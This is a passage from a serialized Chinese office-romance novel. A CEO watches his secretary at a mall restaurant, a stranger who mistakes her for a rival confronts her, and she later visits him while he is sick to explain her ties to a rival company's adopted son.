他压低声音:“你其实可以看看这场音乐剧的,舞美和歌曲都很不错,在国内反响热烈。”
傅知尧换了个姿势,仍旧觉得心头闷得慌:“你不懂,我只是……”
周瞿洋淡定地喝了一口矿泉水,“对,我不懂,我以为是你邀请虞秘书失败了,所以才拉我过来凑数。”
哐啷一把大刀插到傅知尧心上。
傅知尧瞳孔震颤,怎么周瞿洋也越来越毒舌了,他嘴硬:“不是,她有约了,不是拒绝了我,我们还约好了下次一起看。”
周瞿洋:“……”
下次?这不是拒绝人专用的话术吗?-
【知尧没救了。】
周瞿洋觉得自己应该更新一下对傅知尧的看法,老房子着火,的确可怕。
音乐剧时长两小时,看完已经是六点,两人从剧场离开,准备在附近找家餐厅吃饭。
走了几步,意识到傅知尧没跟上,周瞿洋转过头,瞧见傅知尧盯着一个地方半天没动静。
“怎么了?”
“我看到虞晚了。”
周瞿洋顺着傅知尧视线方向,果不其然看到了戴着深蓝色棒球帽的虞晚,她侧对着他们,长发扎起,帽檐遮住眉眼部分,只看得见半个白皙的侧脸,不是熟悉的人大概率认不出来。
“好像是……”
话音刚落,傅知尧已然大步朝着虞晚的方向迈,给周瞿洋扔下一句话:“瞿洋,吃饭去,我请你。”
周瞿洋:“……”
第72章
五分钟后,西餐厅内,服侍生立在一旁,看着面前两个穿着考究,表现奇异的客人。
长相俊逸清朗的男客人平静地翻着菜单,气场强悍的那位男客人则将宽大的绿皮菜单本立起来,露出一双深邃漆黑的眼睛,定定盯着某个方向,眨也不眨一下。
周瞿洋已经能做到对傅知尧的举动视若无睹,点好餐,将菜单交还给服侍生,余光瞥见傅知尧,顿了顿:“他的那份菜单暂时保留。”
服侍生连忙回神,“好的,没关系先生,主厨会尽快制作并上菜,有需要随时找我们。”
“嗯,麻烦了。”
周瞿洋转过脸,视线越过餐桌边闲谈的客人和装饰绿植,勉强从缝隙中看到虞晚的身影,她已经摘下棒球帽,正低头看手机。
周瞿洋抿了口水,不解道:“我以为你会邀请虞秘书一起吃饭。”
傅知尧的声音隔着厚实的菜单传来,有些闷:“她说她今天有约,我想看看她约的是谁。”
周瞿洋:“……”
就算虞晚是和那个骚包的跑车男一起吃饭,他也要看看,看看那男人到底长什么样,有他帅气?有他有钱?有他有格调?
他不是没动过翻监控找出红跑车主人的念头,但知道对方是谁又有什么意义呢。
他自始至终只在乎虞晚的看法,他不需要听虞晚和那位男人具体聊了什么,只要让他看到虞晚的肢体动作和眼神就足够了,一个眼神,他就能明白,虞晚到底喜不喜欢对方。
此时六点刚过八分。
虞晚和陆随约好的时间为六点四十,并不是很着急,她从服侍生手里接过菜单,“我先看看,等我同伴到了再点餐可以吗?”
“当然可以,女士您慢慢看。”
虽然只有一天假期,但虞晚安排得满满当当。
上午考完科目一,和毛新灵一起吃了顿午饭,了解了前几天警局事件的后续,苏远出轨多名同事的消息闹得很大,合作商听闻后,出于对负面影响的考虑,临时终止签约,导致公司损失巨大,事件以苏远被开除落幕。
最让毛新灵感慨的不是苏远,而是他的妻子:“苏远离职的时候,他的妻子也来公司了,化过妆,但看起来也十分憔悴,出轨一事爆出来的时候,他妻子正在给二胎孩子筹备百日宴,我当时就在想我是不是特别残忍,安静离职不就好了,非要把这件事闹出来,让他的妻子遭受伤害。”
虞晚沉默了片刻才回答:“有些伤口必须揭开才能结疤。”
无视不代表问题不存在。
每次虞晚遇到困难想要退缩的时候都会因为这句话坚持住,就算暂时将问题扔到一边不去解决,未来,这些问题全部会以同样甚至更麻烦的方式出现,继续困扰着她。
直到她完全攻克,否则,只不过是自欺欺人。
下午,虞晚拎着牛奶和水果去了心爱孤儿院,陪小朋友们玩了会儿,这才不紧不慢晃到商场。
虞晚将餐厅定位发给陆随。
陆随哥:【你已经到餐厅了吗?抱歉,路上有些堵车,我大概还要二十五分钟,你先点餐,肚子饿了直接吃,不必等我。】
虞晚:【没事,原本也是约六点四十,陆随哥你开车路上专心些,不用回我了。】
陆随哥:【好。】
放下手机,虞晚视线落到餐桌上孤零零插在透明玻璃瓶的一枝黄玫瑰。
她想起办公室里那一大束鲜艳的奶油杯,好在尚秘书今日加班会开冷气,否则她都要担心那束花会枯萎得太快。
如果要长久保存一束花,是不是要制作成干花比较好?
但九十九朵实在是太多了,那她要不要加个班,到时候打车抱回家,这样公司里也没多少人会看见。
唯一要注意的大概是傅知尧,他经常加班,比自己下班时间还晚。
虞晚有些发愁。
她坐在靠窗的位置,窗外来往的人拎着购物袋经过,时不时会往餐厅内扫一眼。
于荷雅同家里保姆徐姨出来逛街,想着买几件哄楚楚开心的礼物,不经意一扫,看到了坐在窗边的虞晚。
鹅蛋脸,远山眉,低马尾,和楚楚电脑里那几张偷拍照片中的女人长相一模一样。
那天哭泣过后的楚楚并没有告诉她到底发生了什么,为什么哭泣,她只是擦干眼泪,模棱两可地说陆决风周末有事,拒绝了她的约会请求,所以才会伤心。
作为养育宋楚楚二十三年的人,于荷雅怎么会看不出来宋楚楚是在撒谎。
她并没有戳穿自己女儿的自尊心,在宋楚楚离开房间后打开她的电脑,熟练地输入密码,一一浏览宋楚楚对话框里的信息、搜寻过的网站地址以及保存下载的文件。
最终在一个文件夹里找到了几张照片。
照片大约是在春季拍的,陆决风身上还穿着长袖卫衣,而一旁和他并肩的女人,正是此刻她面前这位坐在餐厅内的女人。
于荷雅可以确信自己没有认错。
如果楚楚说陆决风拒绝约会是指今天,那么这位女人在等的人是不是就是陆决风?
想起楚楚哭到通红的眼,擦去眼泪努力朝她扯出笑容的脸,于荷雅内心的怒火在此刻蹭的一下被点燃。
一旁徐姨察觉不对,唤了一声:“太太?”
虞晚从思绪中抽离,察觉有目光落在自己身上,条件反射向窗外看去。
长廊上人来来往往,即便有人朝餐厅内张望,也是在打量餐厅内环境,而非是看她。
虞晚收回视线,正要拿手机看时间,身上霎时一凉。
低头一看,衣服和长裤早已被冰水浸透,深色水痕从胸口位置往下蔓延,顺着裤腿淅淅沥沥滴落。
空荡的玻璃杯在地上滚了
两圈,最终停在她脚边。
反应过来,虞晚迅速拿起桌上的擦手毛巾吸去衣服上多余水分,耳边传来对方道歉的声音。
“不好意思啊,我刚刚没注意。”
虞晚微微蹙眉,抬头,撞入一双温婉的眼眸。
女人约莫四十的年纪,气质端庄雅致,保养到位,眼尾纹路稍稍明显,但并不显得老气,充满母性的温柔光辉。
怔忪两秒,虞晚无奈:“没事,我擦擦就行。”
女人朝她微微一笑,态度亲和:“这怎么会没事呢,你的衣服和裤子都湿透了,看你样子,是在等人约会吧,如果不介意的话,去楼上服装店重新选一套衣服吧,就当是阿姨我的赔礼了,实在是抱歉。”
虞晚连连摆手:“不用了,我回家换也是一样的。”
对方没有给她拒绝的机会,伸手将她拉起来,力气大得出奇,一边柔声解释:“是冰水,不是常温水,不及时换衣服会着凉感冒的,生病可不好受,再说了,是我没站稳导致的,你要是拒绝,阿姨心底也过意不去,你就当阿姨帮一个忙行不行,让阿姨安心些。”
话说到这个程度,虞晚没有拒绝的理由,外加被打湿的衣服紧紧贴着肌肤,空调冷风一吹,鸡皮疙瘩层层往外冒,湿漉漉坐着等陆随也不是个事儿。
虞晚给陆随发去一条消息说明,麻烦服侍生清洁地面水渍,跟着这位奇怪的阿姨上楼,随意选了间服装店,换了身黑色长裙。
v领设计,款式简约大方,没有任何多余的花纹,因为剪裁和面料好,穿上身也格外合适。
女人拉着虞晚左右看了看,笑眯眯地说:“真不错,很适合你,看着你,我就想起了我女儿,你和我女儿很像,你今年几岁了?”
虞晚礼貌回答:“已经二十三了。”
“大学刚毕业的年纪,我女儿也是。”女人眼眸微弯,藏着细腻温润的光,“你长得这么漂亮,皮肤好,性格也好,一定有很多男生喜欢你吧。”
见虞晚没有立刻回答,女人捂住唇,意识到什么:“抱歉,我是不是太冒犯了,毕竟这是你的隐私。”
一两句话而已,说冒犯隐私算不上,虞晚只是觉得这位阿姨有些自来熟,说是要赔偿衣服,她衣服换好了,不提结账的事情,反倒八卦起她的感情生活。
难不成是骗子,专门给路人泼水,再将其骗到服装店消费?
但店铺是她随意选的一家,那位女人全程没有干预,裙子吊牌也在,没有剪掉,她出门时带着的棒球帽和手机都在她手里,就算要骗,骗什么呢。
因此,虞晚只是安安静静,没有回答。
女人换了个话题,“那么,你是有喜欢的人了?”
这也能看出来?这位阿姨是不是算命的。
虞晚含糊道:“大概吧。”
“那他喜欢你吗?”或许是觉得自己说的话题太过突兀,她停顿片刻,补充道:“我女儿有个很喜欢的人,喜欢到可以放弃自己的生命,我看着你就想起了我的女儿,我舍不得她吃苦,想着你们都是同龄人,或许更懂得她的想法,能给我一些参考意见。”
女人的声音是真情实感的苦涩和无奈,虞晚戒备心稍稍放下,她摁亮手机屏幕看了眼时间,六点二十一。
女人注意到她动作,“是有急事吗?我会不会太耽误你时间了,那我们现在去结账吧。”
虞晚看向中年女人,轻摇头:“没关系的阿姨,衣服我自己结账,至于您说的感情问题,我可能给不了太多的参考。”
“为什么,你喜欢的人难道不喜欢你?”女人急切地追问。
虞晚露出一个淡淡的笑,“我们之间差距很大,不太可能在一起,说喜欢不喜欢这个问题,没什么意义。”
第73章
于荷雅眸光骤然冷下来,只觉得微笑说出这话的虞晚变得面目可憎,垂眸时纤长漆黑的眼睫毛像是飞虫的触须,她多看一眼都觉得恶心。
分明享受了陆决风给予的关照和偏爱,却装出一副冰清玉洁的高尚模样,和宋正雄那个私生子的母亲一模一样。
要钱、要权、要身份,千方百计带着孩子出现在她面前,各种凸显存在感,目标明确地瞄准她女儿楚楚的财产,贪心至极,但在宋正雄面前,只会柔弱地掉眼泪,狡辩说不是要拆散他们一家人,只是孩子想爸爸了。
看着面前的虞晚,于荷雅莫名想起了自己在嫁给宋正雄之前那段失败的爱情。
男友被小三勾走,趁她没有防备,转走她账户上全部财产,想带小三远走高飞。
她歇斯底里地质问,发狂般抓着男友手,逼他给个回答,只得到一句高高在上的话:“你像个疯子,半点比不上小妮。”
是不是男人都喜欢这样一款女人,热衷于表演自我奉献,喜爱将自己摆在受害者的身份上,在得到一切后还要轻飘飘地说一句:“我不知道他为什么会对我这么好。”
实在是令人作呕!
于荷雅眼底浮现嘲讽,话语冰冷:“那你有没有想过,因为你是插足的第三者,所以对方不能喜欢你,所以你们不可能在一起,因为你的爱情本质上是偷来的,见不得光。”
“什么?”
虞晚没反应过来,一时无法处理对话中的信息,表情茫然无措。
于荷雅没有罢休,凑到虞晚面前,猛地抓住虞晚的手臂,眼睛死死盯着她,声音透着咬牙切齿的怒意:“你是不是没有父母教育,作为女人才会如此放荡、不要脸,勾人别人的未婚夫,插足别人的爱情关系,你说话啊!不要傻瞪着眼在我面前装无辜,你家里没有镜子是吗?长相比不过我女儿,性格低劣还没底线,你这样的人有脸活着?!”
于荷雅越说越激动,面部表情扭曲起来,不复方才的温婉和蔼,手上力气越来越大,好似掐在虞晚脖子上一般,指甲陷入肉中,深深印出五道指印。
“阿姨,你冷静点。”
虞晚往后退了几步,想要甩开她,手臂的疼痛清晰提醒她这不是在做梦,她完全不明白对方怎么会突然变了脸色。
她扭头往四周看去,想要向人求助,可那些店员彷佛凭空消失,整个店铺内只剩下她和这位阿姨。
“虞晚!”
身后传来一道熟悉的呼喊,不等虞晚有所回应,面前的女人却忽然松开手,往后退了两步。
没了桎梏的力量,虞晚失去平衡,身子控制不住朝后倒去,她紧紧闭上双眼,不是想象中和地面的亲密接触,虞晚跌入带着苦艾香气的坚硬怀抱,被身后人稳稳托住。
手臂还扬在半空没有收回,傅知尧顺势握住,整个攥在手心,暖意顺着肌肤相贴的地方传来,虞晚恍然发现自己手指有多么冰冷。
傅知尧低头看她:“有没有受伤?”
虞晚愣了两秒,“没有……”
两人位置没有变动,她几乎是完全被傅知尧揽在怀里,肩胛骨贴着对方的胸膛,手掌被对方温热有力地紧握,后脑勺甚至能感受到对方律动的心跳,太过亲密的距离,虞晚极其不适应。
她应该松开的,却像木偶一样贪恋人类精雕细琢时的目光和触碰。
她手指动了动,有挣脱的意味,握着虞晚手的傅知尧自然第一时间注意到,确认虞晚站稳,克制地松开手,将她拉到身后,挡在虞晚和那位女人中间。
于荷雅目光仍旧盯着虞晚,胸口因为呼吸过度剧烈地起伏着,面上难以置信,声音尖锐:“你叫虞晚?哪个yu,哪个wan?”
傅知尧不耐烦皱起眉。
女人长相面熟,他应当在哪里见过,只是他看到虞晚被女人目眦尽裂逼问的场景,没工夫细细回想,对于荷雅说话也丝毫不客气。
傅知尧:“和你有任何关系吗?故意将水泼到她身上,清空服装店店内员工,对她大吼大叫动手动脚,你该先弄清楚你自己的身份,方便被起诉时在法庭上自我介绍。”
一番话让于荷雅哑口无言,只能干瞪着傅知尧:“你——!”
傅知尧没回应于荷雅,转过头问虞晚,声音放缓了几分:“你认识她吗?”
虞晚摇头:“不认识。”
她可以确信自己在此之前从未见过于荷雅,更别提她口中那些抢别人的未婚夫,插足别人的爱情。
“虞晚。”
话音刚落,身后再次传来一道呼唤,店内三人同时朝说话方向看去。
陆随的身影出现在门口。
听到陆随的声音,于荷雅像是终于确认了什么,表情如遭雷击,身形晃动,踉跄着后退几步,眼睛却像是钉在虞晚身上,充斥着震骇、呆滞和无措。
最终,抓起沙发上的包包,低着脑袋,脚步仓促,与陆随擦肩而过。
陆随没有拦住于荷雅,在某个男人强烈到如有实质的目光中,不紧不慢踏入服装店。
傅知尧全身紧绷,眼底是一片凝重的郁色。
即便脑子里已经跳出虞晚和陆决
风相识的原由,但内心依旧希望虞晚否认和陆决风的关系。
“陆随哥。”
这一声,彻底打破傅知尧的幻想。
虞晚朝陆随走近,与傅知尧距离瞬间拉开,傅知尧死死盯着虞晚和陆决风相触的衣袖,只觉得格外刺眼灼痛,刺眼到让他嗓子干涩发酸,控制不住地想咳嗽,只能拼命握拳忍耐这种不适,好维持堪堪不倒的自尊。
对面,陆随低头,将虞晚认真打量一圈,声音轻柔:“受伤了没有?”
虞晚抬手摸了摸胳膊:“……没有,她只是拉着我说了些莫名其妙的话。”
陆随语气平淡:“既然不认识,那她说的话也不必听。”
虞晚点头。
正准备同傅知尧说声谢谢再道别,就听到陆随开口,语气冷淡客套:“傅总,好久不见。”
两人目光在半空中相接,暗流涌动。
傅知尧读出了陆随谦称里微妙的挑衅和游刃有余的蔑视,让傅知尧极其不爽。
他没工夫和陆随在这里上演‘你好我好大家好’的阖家团圆画面,只定定看着虞晚,声音轻到像是一阵被大树阻拦过后变调的风:“虞晚,你说的有约是指他吗,你知道他是谁吗?”
虞晚心口莫名一颤。
是了,即便陆随是被陆家收养的孩子,也和陆家产业屿风集团有着密不可分的关系,在傅知尧眼中,自己作为傅氏集团总裁秘书,私下和对手公司的养子来往密切,是商业间谍的可能性大大增加。
她要如何让对方相信自己?
虞晚的迟疑和踌躇被傅知尧尽数纳入眼底,他腮帮子紧了又紧,大脑像是被人锤凿千万遍,彻底失去思索的能力。
被于荷雅支开的店员重新回到店内,瞧见三人站位,纷纷对视一眼,眼眸中泛起八卦的精光。
傅知尧不希望虞晚处在这种被他人议论的风暴中心,他的喜欢不该成为虞晚的困扰,也不敢听虞晚的回答,在这样的静默中最先败下阵:“不用回答了,我和朋友也有约,我先走了。”
虞晚视线追随着傅知尧远去的身影,双腿下意识就要跟着迈开,被陆随一句话叫停。
“他似乎误会了点什么,虞晚,你要去解释吗?”
虞晚身子一僵,想到点什么,收回脚步,看向陆随:“明天上班,我会和他解释的。”
“陆随哥,现在更重要的是你的事情。”-
“我是个蠢货。”
周瞿洋咀嚼的动作停顿片刻,见傅知尧没有继续说的意思,温吞吞往嘴里塞切成小块的牛排,七分熟的牛排外焦里嫩,汁水充盈。
“我早该知道的。”
周瞿洋默默吃了口清甜的蔬菜沙拉,罗马生菜上淋了主厨秘制的酱汁,加上冰凉的小番茄,很好缓解了牛排的腻。
“但我擅长自我欺骗。”
周瞿洋擦干净手,拿起鱼籽牛肉塔咬了一口,盛牛肉粒的小碗是酥皮制作的,带着浓郁的黄油香气,就是吃起来有咔嚓声,似乎影响了对面傅知尧的发挥。
“……”
“抱歉,你继续。”
傅知尧哪里还有心情继续,他能把这几句话在周瞿洋面前讲出来就费尽了他全部的力气。
可惜周瞿洋没有喜欢的人,不懂得他的辗转反侧。
周瞿洋放下手中的刀叉,用纸巾擦了擦嘴,看着对面傅知尧开口:“知尧,如果你不是真心喜欢虞秘书,我建议你尽早放弃。”
傅知尧神色迷惘,颇为费解:“什么?”
“因为这对她不公平。”
这对他难不成就公平吗?
傅知尧想反问,倏然记起小程说的话,恋爱不是比赛,不需要分输赢,自然,也不需要论证公平。
于是他问:“为什么?”
他的喜欢难不成是什么洪水猛兽。
周瞿洋耐心给出回答:“因为你的身份。你可以随意随心随便提出分手,她却不可以,地位上天然的不对等在恋爱关系中也会造成人内心的偏差,时间久了,总有一方会不满,你和虞秘书平日里相处如何?”
傅知尧回想吵架之前,“挺好的,偶尔还会开开玩笑,我觉得相处很自在。”
“那就对了。”
“你也觉得吧,我们很合适。”
周瞿洋:“……”
“我的意思是,她在迁就你。”周瞿洋云淡风轻地说,“相处中,一方想要让另一方全部满意是不可能的,如果你和虞秘书相处舒适,说什么做什么都无所顾忌,并不是证明你和她合得来,是所谓的灵魂伴侣,大概率是对方一直在包容退让,而你,始终没有发现,或者说,习以为常。”
短短几句话,把傅知尧原先引以为豪的自信砸入泥里,他大脑一幕幕播放、重现和虞晚相处时的场景,从虞晚入职总裁办到如今,他发现他根本没有反驳周瞿洋的底气。
傅知尧沉默半晌,再开口,嗓子干涩:“瞿洋,我以前脾气真的很差吗?”
第74章
虞晚想要在隔日同傅知尧解释的计划没能顺利实现。
蔡秘书一大早就给她发消息,说傅知尧今日不来公司,不必给他订餐。
午餐时,虞晚没忍住给傅知尧发了条信息,但对方迟迟没有回复,直到快下班,虞晚听到蔡秘书和尚秘书聊天,这才知道傅知尧是淋雨生病了。
蔡秘书:“老板昨天还问我要资料呢,我想着待会儿送文件时看看老板情况,实在不行还能把老板送去医院。”
尚秘书:“辛苦你了,国庆后海市温度一直在往下降,一场秋雨一场凉,淋雨后感冒是必然的。”
虞晚正在整理资料,闻言蹭地一下从座位上站起来,看向蔡秘书的方向,手里的笔差点掉到地上。
蔡秘书被动静吓一跳,“怎么了虞晚?”
虞晚视线扫过蔡秘书手中的文件,稳了稳心神:“蔡秘书,你待会儿不是有约会吗?文件给我吧,我去送给老板。”
蔡秘书意外地看着虞晚,想明白了些什么,直接将文件递给虞晚。
“当然可以,你不觉得耽误时间就行,路费我报销了,你到时候发我账单。”
“不用了,顺路的事。”
虞晚看了眼手机,已经到了下班时间,干脆利落收拾好包包,将文件放进去,同蔡秘书、尚秘书两人道别,急匆匆往办公室外走。
蔡秘书后知后觉明白‘顺路的事’是什么意思,送文件不是主要目的,去看老板才是主要目的吧。
办公室内唯二两人对视一眼,一切尽在不言中。
虞晚运气不错,刚出公司大楼就顺利拦下一辆出租车,同司机说明目的地,抱着包安静坐在后座。
今天温度不高,司机没有开空调,虞晚打开车窗,冷风肆意涌进来,虞晚的思绪清明了一些。
雨是昨天傍晚开始下的,淅淅沥沥落到今日中午才停止,雨后空气格外清新,只是天一直阴沉着不见光,彷佛随时会再下一场。
出租车开出去一段距离,虞晚才发现自己将伞落在公司。
此时是单行道,让司机掉头也麻烦,虞晚估摸着她不会在傅知尧那边待太久,索性祈祷自己能在下雨前搭上车回家。
另一边,傅知尧浑身乏力地躺在床上。
高烧的后遗症就是他连睁眼都费劲儿,彷佛眼眶里装着的不是眼珠,而是两个火球,他不知道自己睡了多久,只记得早上醒来感觉整个世界在颠倒时就知道自己要遭殃,趁着自己还清醒给蔡杨发了条消息。
他平日里很少生病,一旦生病,至少要休息三天,否则大脑晕乎,处理事务毫无效率可言。
床上手机在此时震动两下,傅知尧艰难睁开眼,将其拿过来,看到未读的两条消息。
一条是蔡秘书刚刚发来的:【老板,资料虞晚给您送过去了,大概二十五分钟后到,我已经和物业那边打过招呼,劳烦您到时候给她开个门。】
另一条是中午虞晚发来的:【老板,您明天来公司吗?】
看到消息,傅知尧混沌的
大脑瞬间清醒,一个翻身从床上爬起来,穿好拖鞋往房间外走。
阿姨昨天请了假,今天家里没人做清洁,早餐订的酒店外卖盒还摆在餐桌上,里面装着他吃剩的残羹,乱成一团,傅知尧快速将其装好塞进垃圾袋,东看看西看看,扔到厨房角落的垃圾桶,桌上水杯装着他喝了一半的水,他干脆倒掉,清洗完杯子摆上杯架,浴室脏衣篓里还装着他今早出汗后换洗的衣服,他当时头晕没来得及清理,抓起来,全部扔进洗衣机,关好舱门也能遮一遮。
万一虞晚来了要借用厕所呢,看到他乱七八糟堆成山的衣服岂不是会给她留下一个邋里邋遢的印象。
走出浴室,瞧见地砖上几道凌乱的鞋印,傅知尧找来拖把用力擦干净,直到地板光可鉴人,随后里里外外将房子转了一圈,确认没有任何不妥,坐下来准备休息,抬手擦了把额头上的汗,傅知尧就意识到他忘记了最重要的一个步骤。
清洁自己。
一看时间,还剩七分钟,傅知尧拿了衣服走进浴室,七分钟,搞定洗澡、洗头,过程中穿插着认真刷了个牙,胡乱擦了擦还在滴水的头发,刚将干毛巾搭上肩,就听到门口传来的门铃声。
虞晚来了。
咔嚓一声,门打开,傅知尧对上虞晚温和澄澈的眼眸,紧绷的情绪在此刻松懈。
“老板。”
虞晚惊讶于傅知尧开门的速度,余光瞥见他肩上的毛巾以及正在往下滴水的发梢。
所以,傅知尧刚刚是在洗澡?
傅知尧嗓子如火烧,开口,声音又哑又涩:“嗯,进来吧。”
虞晚迈步进去,踩在柔软的地毯上,忽然意识到自己脚底沾了户外地面的雨水,一时不知该如何才能不污染光洁的地板。
犹豫两秒的动作被傅知尧捕捉到,他伸手指了指,为虞晚解围:“门口有你的拖鞋,新买的,很干净。”
虞晚垂眸,一双浅灰色的女士拖鞋就摆在她脚边,是上回她来老板这里没有的。
换好鞋子,虞晚终于能心安理得踩上干净的地砖,她仔细观察了傅知尧的状态,虽然能说话,但嗓音沙哑,双侧脸颊泛红,唇色也苍白。
她不太明白,为什么傅知尧不去医院。
虞晚问:“老板,你今天喝过药吗?”
“喝了,就那些,效果还行。”
傅知尧去厨房给虞晚倒水,顺路失示意虞晚看餐桌上那些被拆开的药盒。
虞晚将单肩包放下,拿起药盒仔细查看药物的功效和作用,眉头微皱,“冲剂是饭前喝,胶囊是饭后喝,各有各的讲究,你今天吃了几顿饭?”
她没有在桌上看见外卖盒,厨房也没有动火的痕迹,难不成今天阿姨请假,没人给傅知尧做饭?
傅知尧颇有些心虚,不自在地捏了捏手指,“……阿姨请假了,我订了外卖,早餐喝了点粥,午餐也喝了点粥。”
喝的还是早晨剩下的冷粥。
虞晚无奈,她放下手里的药盒:“你刚洗过澡,头发还没擦干,你现在先去吹头发,待会儿我给你量个体温,如果温度高,我们就去医院看看,可以吗?”
傅知尧闷闷点头,只觉得眼睛跟着酸胀,控制不住地觉得委屈。
但为什么委屈,他说不清楚。
他只能怪虞晚,怪她说话太温柔,怪她分明昨天选择了陆决风,今天还要来看望他关心他。
他简直最讨厌虞晚。
默默将水杯放在虞晚手边,这才拖着沉重的身体去浴室吹头发。
花费了五分钟时间吹干头发,傅知尧脑仁好似在爆炸,洗个澡不仅没能让自己思维冷却,反而愈发晕乎,扶着浴室门框站了好半天缓解。
虞晚等了会儿,觉得不对劲,快步走过来,“老板?”
“没事……”
傅知尧抬手将额前碎发随意撩到耳后,露出高挺深邃的眉骨,凌乱的发丝削弱了骨相带来的攻击性,因为高烧,眼眶通红,眼里像是蒙着一层挥散不去的细腻水雾,看人时也水盈盈的,显得分外脆弱柔软,和先前那个不可一世的大魔王相去甚远。
虞晚声音不自觉放轻:“那你先坐好,我给你测一遍体温。”
傅知尧家的药箱就摆在茶几上,虞晚找出体温枪,打开侧面的按钮,再抬头就看到坐在沙发上一本正经准备掀衣服的傅知尧。
不知怎么想的,虞晚以迅雷不及掩耳之势抓住傅知尧的手,慌乱无措往下压,终于遮住了腹部的那一抹白。
虞晚尴尬地头皮发麻:“……不用掀衣服,是体温枪,不是水银温度计,不需要掀衣服。”
傅知尧恍若未觉,垂眸敛眉,目光落在虞晚制止他动作的手上,嗓音嘶哑:“为什么这么冷?”
冷?
是说她的表情还是她的语气?
傅知尧动了动被虞晚抓住的手指:“你的手,很凉。”
虞晚愣了半秒,松开手,“没有啊,正常温度,是你发烧了。”
“哦。”
虞晚将体温枪贴到傅知尧额头上,滴的一声响,电子屏幕显示37度6,不算太高,估计最难受那会儿已经过去了。
“低烧,晚上再喝一遍药,明天就能好些,还是老板你想去医院挂个点滴?我听你声音也有点哑,打个点滴会好得更快。”
虞晚一边说,一边将体温枪放回药箱,认真找寻起合适傅知尧现在这个状态吃的药。
她看了傅知尧白天吃的药,见效快,但是副作用强,容易造成头昏和肠胃不适,低烧情况还是喝点药效温和的。
“不去医院。”傅知尧看着半蹲在茶几前翻药的虞晚,声音淡哑:“虞晚,你是不是还没有吃晚饭,如果不忙,我现在给酒店打电话订餐,等你吃完,我再让小程送你回家。可以吗?”
虞晚动作一顿,“不用了老板,我回家吃也是一样的。”
“虞晚。”傅知尧继续喊她。
“老板你说。”
“你是不是觉得我很麻烦,在心里抱怨过我许多次,我脾气不好,对人总是板着脸,没什么耐心,不喜欢重复说一件事,擅长逃避和冷暴力,分明是自己的问题却有千万种推卸责任的借口,甚至现在,还要麻烦你下班后来我家,给我送文件,检查我的身体状况。”
傅知尧双眸漆黑晦暗,满室明亮,冷白的光线下,男人面部每个细微表情变动一览无遗。
是一种比质问更为沉重的苦涩。
虞晚不明白。
“为什么你觉得我在心里抱怨你,是我的眼神,我的动作传达了这样的观念吗?”
之前傅知尧总问她,她是不是在心底骂他,现在傅知尧问她,她是不是在心底抱怨他。
她这个秘书就当得这么不称职?
傅知尧将脸撇向一旁。
他在心里回答——
因为我听不见你的心底的声音。
因为听不见虞晚的心声,他不知道虞晚在想什么,只能通过神态和动作来揣摩忖度,但事实证明这是错的,他的判断会因为他个人倾向思想产生误差。
他一直在想,如果他能听见虞晚的心声,明白虞晚的想法,在问题产生后对症下药,迅速解决,这样两人会不会相处得更好,会不会没有冷待、争吵,更没有生气、疏离。
“我今天是主动来的。”虞晚将手中的冷敷贴拆开,递到傅知尧面前,让他自己贴到额头上,眸光平和温润:“我做的一切事情都是建立在我的主观意愿上,不存在强求或者强迫。”
傅知尧心脏在这一刻狠狠收缩。
又喜又痛。
第75章
紧
接着,他听到虞晚的声音,一瞬又从天堂摔下来。
“老板,我来找你是想说有关新贸大厦的投标,我想要接手该项目,作为负责人完成从前期投标到后期项目落地执行,希望您给我这个机会。”
“昨天的事情我无可辩解,我和陆随,也就是陆决风,小时候一同生活在心爱孤儿院,我是在入职总裁办后才和他重新相遇,在此期间,我从未和他讨论过有关傅氏的任何消息,我可以向你保证,我绝对没有出卖公司内部项目资料的行为,也请你相信我,即便有幸参与到新贸大厦投标中,也必定不会以此当筹码,去交换所谓的利益。”
这点,她在昨日和陆随的聊天中也有所提及。
她并不相信陆屿森口中说的一份投标文件就能还陆随自由,嘴巴一张一合说说而已,谁当真谁是傻子。
陆随哥的情况是整个陆家造成的,陆屿森也是其中之一,加害者难道能因为漠视的行为程度较轻就堂而皇之当起无辜者吗?
毕竟不是小孩了,陆随没有向虞晚详细讲述在陆家生活的那些经历。
作为被收养的孩子,陆随的作用相当简单:对外彰显陆家夫妇的善心,树立乐善好施的夫妻形象;对内,只是因为某个大师算出陆屿森命中有劫,需要一个同姓的孩子挡灾,于是陆随便因为出众的外观被选中。
起初,只是因为不小心打碎餐勺被扇巴掌,到后来,只要陆宗信心情不爽,随时都会对着他拳脚相向。
陆随说起这事表情平淡没有任何波澜,反倒在虞晚提及陆屿森的交换条件时皱了皱眉毛。
陆随和虞晚的想法一致,她不能做,无论虞晚站在哪个立场,私心向着谁,出卖公司,披露商业机密的违法行为她不都能干。
换句话说,即便陆随真的能因为那份投标文件获得自由,傅知尧在察觉傅氏蒙受的损失后会睁一只眼闭一只眼当做什么都没有发生,放过虞晚吗?
所谓的自由不过是拆东墙补西墙。
“虞晚。”傅知尧喉头酸涩,“我从没有怀疑你会泄密。”
即便是昨天看到虞晚靠陆决风更近他都没有怀疑,他只是不甘心,这种不甘心像是一发绷在弦上的利箭,尖锐的镞燃烧着妒意的火,随时会伤害他最在乎的人,让他只能选择狼狈地转身离开。
他突然很想反驳程亮说的恋爱不是比赛这句话,既然不是比赛,为什么挫败、压抑、痛楚这种情绪会缠绕住他。
这多矛盾。
虞晚眼眸中闪过微妙的情绪变化:“如果不怀疑,为什么前段时间要刻意忽视我,难道不是因为陆屿森给我送花,你误以为我和他私下有来往,会做出对公司不利的事情吗?”
细细想来,傅知尧的冷待就是从她收到陆屿森送的花后没多久。
作为公司总裁,傅知尧有千百万个机会能比她更快查明送花人的信息,再结合尚秘书和蔡秘书的说法:傅知尧挑选骨干员工自有一套判断策略,如果某段时间忽然被冷待,不必自我怀疑,那是升职加薪的必经之路。
是不是可以理解为,傅知尧早就知道她和屿风集团的联系,冷待不过是他考验她是否符合秘书要求的重要关卡。
傅知尧蹙眉。
这怎么就和陆屿森扯上关系了?
对上虞晚认真的眼眸,傅知尧恍然大悟,连续送半个多月花的神秘‘森先生’不是别人,正是陆屿森,开张扬的红色跑车的男人也是陆屿森。
傅知尧大脑混乱几秒,旋即冷静下来。
陆屿森不一定是想要追求虞晚,否则不会专门避开他,或许是借此威胁陆决风,又或者是借此威胁虞晚。
那天虞晚和陆决风见面恐怕也是想讨论这件事,虞晚现在向他解释也是为这件事,兜兜转转,所有的事情都可以用一句话概括。
傅知尧:“陆屿森是为了新贸的投标。”
“是。”虞晚肯定了傅知尧的想法。
傅知尧深吸一口气:“但这和我的冷待没有丝毫关系,虞晚,不管你信不信,除了你入职时的背调信息,我没有动用过任何手段去调查你的私生活。”
